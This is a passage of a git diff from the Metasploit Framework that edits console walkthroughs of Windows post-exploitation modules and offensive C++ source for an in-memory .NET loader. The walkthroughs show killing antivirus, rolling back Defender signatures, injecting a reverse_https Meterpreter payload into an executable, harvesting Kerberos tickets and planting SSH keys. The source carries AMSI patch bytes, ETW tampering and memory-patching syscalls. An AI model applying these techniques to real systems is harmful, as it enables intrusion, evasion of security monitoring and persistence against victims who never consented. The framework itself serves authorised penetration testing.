INSTALL_CLIENT false + msf post(windows/manage/install_ssh) > set INSTALL_CLIENT false INSTALL_CLIENT => false - msf5 post(windows/manage/install_ssh) > set INSTALL_SERVER false + msf post(windows/manage/install_ssh) > set INSTALL_SERVER false INSTALL_SERVER => false - msf5 post(windows/manage/install_ssh) > set UNINSTALL_CLIENT true + msf post(windows/manage/install_ssh) > set UNINSTALL_CLIENT true UNINSTALL_CLIENT => true - msf5 post(windows/manage/install_ssh) > set UNINSTALL_SERVER true + msf post(windows/manage/install_ssh) > set UNINSTALL_SERVER true UNINSTALL_SERVER => true - msf5 post(windows/manage/install_ssh) > exploit + msf post(windows/manage/install_ssh) > exploit [*] Uninstalling OpenSSH.Server [*] Uninstalling OpenSSH.Client diff --git a/documentation/modules/post/windows/manage/kerberos_tickets.md b/documentation/modules/post/windows/manage/kerberos_tickets.md index af1d962d0a07a..66a8891e30b13 100644 --- a/documentation/modules/post/windows/manage/kerberos_tickets.md +++ b/documentation/modules/post/windows/manage/kerberos_tickets.md @@ -36,12 +36,12 @@ In this case the operator lists the currently cached Kerberos tickets in the Met command is used again to show the newly added TGTs. ``` -msf6 post(windows/manage/kerberos_tickets) > klist +msf post(windows/manage/kerberos_tickets) > klist Kerberos Cache ============== No tickets -msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/* +msf post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/* [*] LSA Handle: 0x000001efe1bf7270 [*] LogonSession LUID: 0x00004bc1d @@ -388,7 +388,7 @@ msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/* [*] LogonType: Network (3) [*] LogonTime: 2023-08-23 08:33:17 -0400 [*] Post module execution completed -msf6 post(windows/manage/kerberos_tickets) > klist +msf post(windows/manage/kerberos_tickets) > klist Kerberos Cache ============== id host principal sname issued status path @@ -401,5 +401,5 @@ id host principal sname i 402 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin 403 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin -msf6 post(windows/manage/kerberos_tickets) > +msf post(windows/manage/kerberos_tickets) > ``` diff --git a/documentation/modules/post/windows/manage/killav.md b/documentation/modules/post/windows/manage/killav.md index a385614a84fa6..76e2117ce83f4 100644 --- a/documentation/modules/post/windows/manage/killav.md +++ b/documentation/modules/post/windows/manage/killav.md @@ -19,10 +19,10 @@ as being Antivirus or Host-based IPS related. ### Windows 7 SP1 (x64) ``` -msf6 > use post/windows/manage/killav -msf6 post(windows/manage/killav) > set session 1 +msf > use post/windows/manage/killav +msf post(windows/manage/killav) > set session 1 session => 1 -msf6 post(windows/manage/killav) > run +msf post(windows/manage/killav) > run [*] Attempting to terminate 'antivirus.exe' (PID: 5340) ... [+] antivirus.exe (PID: 5340) terminated. @@ -30,5 +30,5 @@ msf6 post(windows/manage/killav) > run [+] regedit.exe (PID: 2296) terminated. [+] A total of 2 process(es) were discovered, 2 were terminated. [*] Post module execution completed -msf6 post(windows/manage/killav) > +msf post(windows/manage/killav) > ``` diff --git a/documentation/modules/post/windows/manage/peinjector.md b/documentation/modules/post/windows/manage/peinjector.md index 7bd7e3ec5e6a1..41521784e7b3b 100644 --- a/documentation/modules/post/windows/manage/peinjector.md +++ b/documentation/modules/post/windows/manage/peinjector.md @@ -49,8 +49,8 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use post/windows/manage/peinjector -msf5 post(windows/manage/peinjector) > show options +msf exploit(multi/handler) > use post/windows/manage/peinjector +msf post(windows/manage/peinjector) > show options Module options (post/windows/manage/peinjector): @@ -63,17 +63,17 @@ Module options (post/windows/manage/peinjector): SESSION yes The session to run this module on. TARGETPE no Path of the target executable to be injected -msf5 post(windows/manage/peinjector) > set lhost 192.168.135.111 +msf post(windows/manage/peinjector) > set lhost 192.168.135.111 lhost => 192.168.135.111 -msf5 post(windows/manage/peinjector) > set lport 4561 +msf post(windows/manage/peinjector) > set lport 4561 lport => 4561 -msf5 post(windows/manage/peinjector) > set payload windows/x64/meterpreter/reverse_https +msf post(windows/manage/peinjector) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https -msf5 post(windows/manage/peinjector) > set session 1 +msf post(windows/manage/peinjector) > set session 1 session => 1 -msf5 post(windows/manage/peinjector) > set targetpe 'C:\users\msfuser\downloads\puttyx64.exe' +msf post(windows/manage/peinjector) > set targetpe 'C:\users\msfuser\downloads\puttyx64.exe' targetpe => C:\users\msfuser\downloads\puttyx64.exe -msf5 post(windows/manage/peinjector) > show options +msf post(windows/manage/peinjector) > show options Module options (post/windows/manage/peinjector): @@ -86,13 +86,13 @@ Module options (post/windows/manage/peinjector): SESSION 1 yes The session to run this module on. TARGETPE C:\users\msfuser\downloads\puttyx64.exe no Path of the target executable to be injected -msf5 post(windows/manage/peinjector) > run +msf post(windows/manage/peinjector) > run [*] Running module against WIN10X64-1511 [*] Generating payload [*] Injecting Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) into the executable C:\users\msfuser\downloads\puttyx64.exe [+] Successfully injected payload into the executable: C:\users\msfuser\downloads\puttyx64.exe [*] Post module execution completed -msf5 post(windows/manage/peinjector) > +msf post(windows/manage/peinjector) > ``` diff --git a/documentation/modules/post/windows/manage/rollback_defender_signatures.md b/documentation/modules/post/windows/manage/rollback_defender_signatures.md index 82e8a0a5de812..d8b84c5a51e23 100644 --- a/documentation/modules/post/windows/manage/rollback_defender_signatures.md +++ b/documentation/modules/post/windows/manage/rollback_defender_signatures.md @@ -29,7 +29,7 @@ Updates the Windows Defender signature definitions to the latest versions availa ## Scenarios ### ROLLBACK Action on Windows Server 2022 ``` -msf6 > sessions +msf > sessions Active sessions =============== @@ -39,10 +39,10 @@ Active sessions 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-BR0CCBA815B 172.28.94.235:45437 -> 172.28.82.203:4444 (172.28 .82.203) -msf6 > use post/windows/manage/rollback_defender_signatures -msf6 post(windows/manage/rollback_defender_signatures) > set SESSION 1 +msf > use post/windows/manage/rollback_defender_signatures +msf post(windows/manage/rollback_defender_signatures) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/rollback_defender_signatures) > show options +msf post(windows/manage/rollback_defender_signatures) > show options Module options (post/windows/manage/rollback_defender_signatures): @@ -58,7 +58,7 @@ Post action: ROLLBACK Rollback Defender signatures -msf6 post(windows/manage/rollback_defender_signatures) > run +msf post(windows/manage/rollback_defender_signatures) > run [*] Removing all definitions for Windows Defender [*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All @@ -71,12 +71,12 @@ AntiVirus Signature Version: 1.375.652.0 Starting engine and signature rollback to none... Done! [*] Post module execution completed -msf6 post(windows/manage/rollback_defender_signatures) > +msf post(windows/manage/rollback_defender_signatures) > ``` ## UPDATE Action on Windows Server 2022 ``` -msf6 > sessions +msf > sessions Active sessions =============== @@ -86,12 +86,12 @@ Active sessions 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-BR0CCBA815B 172.28.94.235:45437 -> 172.28.82.203:4444 (172.28 .82.203) -msf6 > use post/windows/manage/rollback_defender_signatures -msf6 post(windows/manage/rollback_defender_signatures) > set SESSION 1 +msf > use post/windows/manage/rollback_defender_signatures +msf post(windows/manage/rollback_defender_signatures) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/rollback_defender_signatures) > set ACTION UPDATE +msf post(windows/manage/rollback_defender_signatures) > set ACTION UPDATE ACTION => UPDATE -msf6 post(windows/manage/rollback_defender_signatures) > show options +msf post(windows/manage/rollback_defender_signatures) > show options Module options (post/windows/manage/rollback_defender_signatures): @@ -107,7 +107,7 @@ Post action: UPDATE Update Defender signatures -msf6 post(windows/manage/rollback_defender_signatures) > run +msf post(windows/manage/rollback_defender_signatures) > run [*] Updating definitions for Windows Defender [*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate @@ -118,5 +118,5 @@ AntiSpyware Signature Version: 1.375.652.0 AntiVirus Signature Version: 1.375.652.0 Signature update finished. No updates needed [*] Post module execution completed -msf6 post(windows/manage/rollback_defender_signatures) > +msf post(windows/manage/rollback_defender_signatures) > ``` diff --git a/documentation/modules/post/windows/manage/sshkey_persistence.md b/documentation/modules/post/windows/manage/sshkey_persistence.md index 41fba9bf2beb3..5234847ca5838 100644 --- a/documentation/modules/post/windows/manage/sshkey_persistence.md +++ b/documentation/modules/post/windows/manage/sshkey_persistence.md @@ -67,7 +67,7 @@ Use the post module to write the ssh key SESSION => 1 msf post(sshkey_persistence) > set CREATESSHFOLDER true CreateSSHFolder => true - msf5 post(windows/manage/sshkey_persistence) > run + msf post(windows/manage/sshkey_persistence) > run [*] Checking SSH Permissions [*] Authorized Keys File: .ssh/authorized_keys diff --git a/documentation/modules/post/windows/manage/vss.md b/documentation/modules/post/windows/manage/vss.md index 461e5c9642533..40498285349bd 100644 --- a/documentation/modules/post/windows/manage/vss.md +++ b/documentation/modules/post/windows/manage/vss.md @@ -36,11 +36,11 @@ Volume to make a copy of. First, ensure the session is running with elevated privileges and that UAC is not restricting it. ``` -msf6 post(windows/manage/vss) > +msf post(windows/manage/vss) > [*] Sending stage (200262 bytes) to 192.168.159.30 [*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.30:62600) at 2021-01-04 12:09:59 -0500 -msf6 post(windows/manage/vss) > sessions -i -1 +msf post(windows/manage/vss) > sessions -i -1 [*] Starting interaction with 2... meterpreter > getuid @@ -63,7 +63,7 @@ Next, use the VSS module to the storage information and then create a shadow cop value). ``` -msf6 post(windows/manage/vss) > vss_get_info +msf post(windows/manage/vss) > vss_get_info [*] Volume Shadow Copy service is running. [*] Software Shadow Copy service not running. Starting it now... @@ -78,22 +78,22 @@ msf6 post(windows/manage/vss) > vss_get_info UsedSpace [*] Post module execution completed -msf6 post(windows/manage/vss) > set ACTION VSS_CREATE +msf post(windows/manage/vss) > set ACTION VSS_CREATE ACTION => VSS_CREATE -msf6 post(windows/manage/vss) > run +msf post(windows/manage/vss) > run [*] Volume Shadow Copy service is running. [*] Software Shadow Copy service is running. [*] ShadowCopy created successfully [+] Shadow Copy "{A38B3122-4D7A-4B93-B31B-D1454C2FED4D}" created! [*] Post module execution completed -msf6 post(windows/manage/vss) > +msf post(windows/manage/vss) > ``` After creating the shadow copy, list the copies to get the `DeviceObject` path and mount it. ``` -msf6 post(windows/manage/vss) > vss_list_copies +msf post(windows/manage/vss) > vss_list_copies [*] Volume Shadow Copy service is running. [*] Software Shadow Copy service is running. @@ -127,24 +127,24 @@ msf6 post(windows/manage/vss) > vss_list_copies VolumeName \\?\Volume{a5e97ffa-0120-4d03-ad47-18a94e9bfb2b}\ [*] Post module execution completed -msf6 post(windows/manage/vss) > set ACTION VSS_MOUNT +msf post(windows/manage/vss) > set ACTION VSS_MOUNT ACTION => VSS_MOUNT -msf6 post(windows/manage/vss) > set DEVICE \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\ +msf post(windows/manage/vss) > set DEVICE \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\ DEVICE => \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ -msf6 post(windows/manage/vss) > run +msf post(windows/manage/vss) > run [*] Volume Shadow Copy service is running. [*] Software Shadow Copy service is running. [*] Creating the symlink... [+] Mounted successfully [*] Post module execution completed -msf6 post(windows/manage/vss) > +msf post(windows/manage/vss) > ``` Finally, interact with the session to access the mounted directory before unmounting it. ``` -msf6 post(windows/manage/vss) > sessions -i -1 +msf post(windows/manage/vss) > sessions -i -1 [*] Starting interaction with 2... meterpreter > dir ShadowCopy @@ -168,11 +168,11 @@ Mode Size Type Last modified Name meterpreter > background [*] Backgrounding session 2... -msf6 post(windows/manage/vss) > vss_unmount +msf post(windows/manage/vss) > vss_unmount [*] Volume Shadow Copy service is running. [*] Software Shadow Copy service is running. [*] Deleting the symlink... [*] Post module execution completed -msf6 post(windows/manage/vss) > +msf post(windows/manage/vss) > ``` diff --git a/external/source/HostingCLR_inject/HostingCLR/EtwTamper.h b/external/source/HostingCLR_inject/HostingCLR/EtwTamper.h index f1fae044aca32..fb8cf423588cd 100644 --- a/external/source/HostingCLR_inject/HostingCLR/EtwTamper.h +++ b/external/source/HostingCLR_inject/HostingCLR/EtwTamper.h @@ -58,7 +58,7 @@ typedef struct _PEB { BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; - }; + } _bitField; }; HANDLE Mutant; @@ -84,7 +84,7 @@ typedef struct _PEB { ULONG ProcessCurrentlyThrottled : 1; ULONG ProcessImagesHotPatched : 1; ULONG ReservedBits0 : 24; - }; + } _crossProcessFlags; }; union { @@ -145,7 +145,7 @@ typedef struct _LDR_DATA_TABLE_ENTRY { { PVOID SectionPointer; ULONG CheckSum; - }; + } _hashLinks; }; union { @@ -184,6 +184,30 @@ typedef ULONG(NTAPI *_EtwEventWriteFull)( __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData ); +typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)( + HANDLE ProcessHandle, + PVOID* BaseAddress, + PSIZE_T RegionSize, + ULONG NewProtect, + PULONG OldProtect + ); + +typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)( + HANDLE ProcessHandle, + PVOID BaseAddress, + PVOID Buffer, + ULONG NumberOfBytesToWrite, + PULONG NumberOfBytesWritten +); + +typedef NTSTATUS(NTAPI* pNtReadVirtualMemory)( + HANDLE ProcessHandle, + PVOID BaseAddress, + PVOID Buffer, + ULONG NumberOfBytesToRead, + PULONG NumberOfBytesRead + ); + // Windows 7 SP1 / Server 2008 R2 specific Syscalls EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); @@ -202,33 +226,24 @@ EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, P // Windows 10 / Server 2016 specific Syscalls +#ifdef _X64 EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +#else +EXTERN_C NTSTATUS ZwProtectVirtualMemory10_1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS ZwReadVirtualMemory10_1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory10_2(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS ZwReadVirtualMemory10_2(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory10_3(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS ZwReadVirtualMemory10_3(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory10_4(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS ZwReadVirtualMemory10_4(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +#endif EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); -NTSTATUS(*ZwProtectVirtualMemory)( - IN HANDLE ProcessHandle, - IN PVOID* BaseAddress, - IN SIZE_T* NumberOfBytesToProtect, - IN ULONG NewAccessProtection, - OUT PULONG OldAccessProtection - ); - -NTSTATUS(*ZwReadVirtualMemory)( - HANDLE hProcess, - PVOID lpBaseAddress, - PVOID lpBuffer, - SIZE_T NumberOfBytesToRead, - PSIZE_T NumberOfBytesRead - ); - -NTSTATUS(*ZwWriteVirtualMemory)( - HANDLE hProcess, - PVOID lpBaseAddress, - PVOID lpBuffer, - SIZE_T NumberOfBytesToWrite, - PSIZE_T NumberOfBytesWritten - ); +pNtProtectVirtualMemory ZwProtectVirtualMemory; +pNtWriteVirtualMemory ZwWriteVirtualMemory; +pNtReadVirtualMemory ZwReadVirtualMemory; ULONG NTAPI MyEtwEventWrite( __in REGHANDLE RegHandle, diff --git a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp index 166730e56ed5c..72be2716dd1e4 100644 --- a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp +++ b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp @@ -29,11 +29,9 @@ unsigned char uHook[] = { #ifdef _X32 unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; -SIZE_T patchsize = 8; #endif #ifdef _X64 unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; -SIZE_T patchsize = 6; #endif struct Metadata @@ -62,11 +60,13 @@ int executeSharp(LPVOID lpPayload) _AssemblyPtr pAssembly = NULL; SAFEARRAYBOUND rgsabound[1]; _MethodInfoPtr pMethodInfo = NULL; + SAFEARRAY* pSafeArray = NULL; VARIANT retVal; VARIANT obj; - SAFEARRAY* psaStaticMethodArgs; - SAFEARRAY* psaEntryPointParameters; + SAFEARRAY* psaStaticMethodArgs = NULL; + SAFEARRAY* psaEntryPointParameters = NULL; VARIANT vtPsa; + HANDLE pipe = NULL; char* pipeName = NULL; char* appdomainName = NULL; @@ -106,7 +106,8 @@ int executeSharp(LPVOID lpPayload) // Convert to wchar clrVersion_w = new wchar_t[metadata.clrVersionLength + 1]; - mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1); + size_t converted= 0; + mbstowcs_s(&converted, clrVersion_w, metadata.clrVersionLength + 1, clrVersion, metadata.clrVersionLength + 1); arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));; memcpy(arg_s, data_ptr, metadata.argsSize); @@ -115,7 +116,7 @@ int executeSharp(LPVOID lpPayload) ////////////////// Hijack stdout // Create a pipe to send data - HANDLE pipe = CreateNamedPipeA( + pipe = CreateNamedPipeA( pipeName, // name of the pipe PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only PIPE_TYPE_BYTE, // send data as a message stream @@ -147,7 +148,7 @@ int executeSharp(LPVOID lpPayload) rgsabound[0].cElements = metadata.assemblySize; rgsabound[0].lLbound = 0; - SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); + pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); void* pvData = NULL; hr = SafeArrayAccessData(pSafeArray, &pvData); @@ -245,7 +246,7 @@ int executeSharp(LPVOID lpPayload) // Convert to wchar appdomainName_w = new wchar_t[metadata.appdomainLength+1]; - mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1); + mbstowcs_s(&converted, appdomainName_w, metadata.appdomainLength + 1, appdomainName, metadata.appdomainLength + 1); hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk); @@ -344,7 +345,7 @@ int executeSharp(LPVOID lpPayload) wtext[1] = L' '; // Separator - mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize); + mbstowcs_s(&converted, wtext+2, metadata.argsSize, (char*)arg_s, metadata.argsSize); szArglist = CommandLineToArgvW(wtext, &nArgs); free(wtext); @@ -353,12 +354,11 @@ int executeSharp(LPVOID lpPayload) for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name { - size_t converted; size_t strlength = wcslen(szArglist[i]) + 1; OLECHAR* sOleText1 = new OLECHAR[strlength]; char* buffer = (char*)malloc(strlength * sizeof(char)); - wcstombs(buffer, szArglist[i], strlength); + wcstombs_s(&converted, buffer, strlength, szArglist[i], strlength); mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength); BSTR strParam1 = SysAllocString(sOleText1); @@ -388,9 +388,11 @@ int executeSharp(LPVOID lpPayload) Cleanup: - FlushFileBuffers(pipe); - DisconnectNamedPipe(pipe); - CloseHandle(pipe); + if (pipe != NULL) { + FlushFileBuffers(pipe); + DisconnectNamedPipe(pipe); + CloseHandle(pipe); + } if (pEnumerator) { pEnumerator->Release(); @@ -445,7 +447,9 @@ VOID Execute(LPVOID lpPayload) AllocConsole(); HWND wnd = GetConsoleWindow(); if (wnd) + { ShowWindow(wnd, SW_HIDE); + } } HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE); @@ -458,40 +462,9 @@ VOID Execute(LPVOID lpPayload) } INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) { - PNT_TIB pTIB = NULL; - PTEB pTEB = NULL; - PPEB pPEB = NULL; - - // Get pointer to the TEB - pTIB = (PNT_TIB)__readgsqword(0x30); - pTEB = (PTEB)pTIB->Self; - - // Get pointer to the PEB - pPEB = (PPEB)pTEB->ProcessEnvironmentBlock; - if (pPEB == NULL) { - return -1; - } - - if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) { - ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; - ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; - } - else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) { - ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; - ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; - } - else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) { - ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; - ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; - } - else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) { - ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; - ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; - } - else { - - return -2; - } + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + ZwProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory"); + ZwWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); LPVOID lpBaseAddress = lpFuncAddress; ULONG OldProtection, NewProtection; @@ -555,13 +528,13 @@ BOOL PatchAmsi(HANDLE pipe) BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) { HRESULT hr; ULONG fetched = 0; - DWORD vbSize; + DWORD vbSize = 260; BOOL retval = FALSE; wchar_t currentversion[260]; - while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0) + while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)pRuntimeInfo, &fetched)) && fetched > 0) { - hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize); + hr = ((ICLRRuntimeInfo*)*pRuntimeInfo)->GetVersionString(currentversion, &vbSize); if (!FAILED(hr)) { if (wcscmp(currentversion, version) == 0) @@ -570,7 +543,7 @@ BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInf break; } } - ((ICLRRuntimeInfo*)pRuntimeInfo)->Release(); + ((ICLRRuntimeInfo*)*pRuntimeInfo)->Release(); } return retval; diff --git a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.h b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.h index 51bbbcde565dd..7804d4d1a1800 100644 --- a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.h +++ b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.h @@ -19,5 +19,5 @@ using namespace mscorlib; VOID Execute(LPVOID lpPayload); BOOL FindVersion(void * assembly, int length); BOOL PatchAmsi(HANDLE pipe); -BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo); +BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo); INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize); diff --git a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj index 40bfc7f72621c..60f81ba8352aa 100755 --- a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj +++ b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj @@ -79,11 +79,13 @@ false $(ProjectName)$(Platform) + ..\..\..\..\data\post\execute-dotnet-assembly\ + $(Configuration)\ false $(ProjectName)$(Platform) - ..\..\..\..\data\post\execute-dotnet-assembly + ..\..\..\..\data\post\execute-dotnet-assembly\ @@ -111,25 +113,30 @@ - Level3 + Level4 Use MaxSpeed true true _X32;WIN32;NDEBUG;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + true + true Console false true true - C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64 + C:\Program Files %28x86%29\Microsoft Visual Studio 14.0\VC\lib + libucrt.lib; +libvcruntime.lib;libcmt.lib;%(AdditionalDependencies) + false - Level3 + Level4 Use MaxSpeed true @@ -137,6 +144,7 @@ _X64;WIN32;NDEBUG;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded Default + true Console @@ -167,12 +175,6 @@ Create - - - Document - false - - diff --git a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj.filters b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj.filters index 92bf7cef0c9b6..d0f2ea44a0249 100644 --- a/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj.filters +++ b/external/source/HostingCLR_inject/HostingCLR/HostingCLR.vcxproj.filters @@ -55,7 +55,10 @@ - + + Sources + + Sources diff --git a/external/source/HostingCLR_inject/HostingCLR/ReflectiveFree.cpp b/external/source/HostingCLR_inject/HostingCLR/ReflectiveFree.cpp index d58e0f0536760..f085d8a2e8e1e 100755 --- a/external/source/HostingCLR_inject/HostingCLR/ReflectiveFree.cpp +++ b/external/source/HostingCLR_inject/HostingCLR/ReflectiveFree.cpp @@ -3,7 +3,7 @@ #include typedef NTSTATUS -(*NtQueueApcThread)( +(NTAPI *NtQueueApcThread)( HANDLE ThreadHandle, PVOID ApcRoutine, ULONG_PTR SystemArgument1, @@ -11,7 +11,6 @@ typedef NTSTATUS ULONG_PTR SystemArgument3 ); - VOID ReflectiveFree(HINSTANCE hAppInstance) { NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread"); HANDLE hThread = NULL; @@ -28,20 +27,30 @@ VOID ReflectiveFree(HINSTANCE hAppInstance) { // open a real handle to this thread to pass in the APC so it operates on this thread and not itself hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId()); if (!hThisThread) + { break; + } + + + // The other thread will: + // - Wait for us: WaitForSingleObjectEx(hThisThread, INFINITE, FALSE); + // - Close the handle we opened: CloseHandle(hThisThread); + // - Free the memory: VirtualFree(hAppInstance, 0, MEM_RELEASE); // tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited NTSTATUS status = pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE); // then close the handle so it's not leaked - DWORD result = QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread); + QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread); // then free the memory status = pNtQueueApcThread(hThread, VirtualFree, 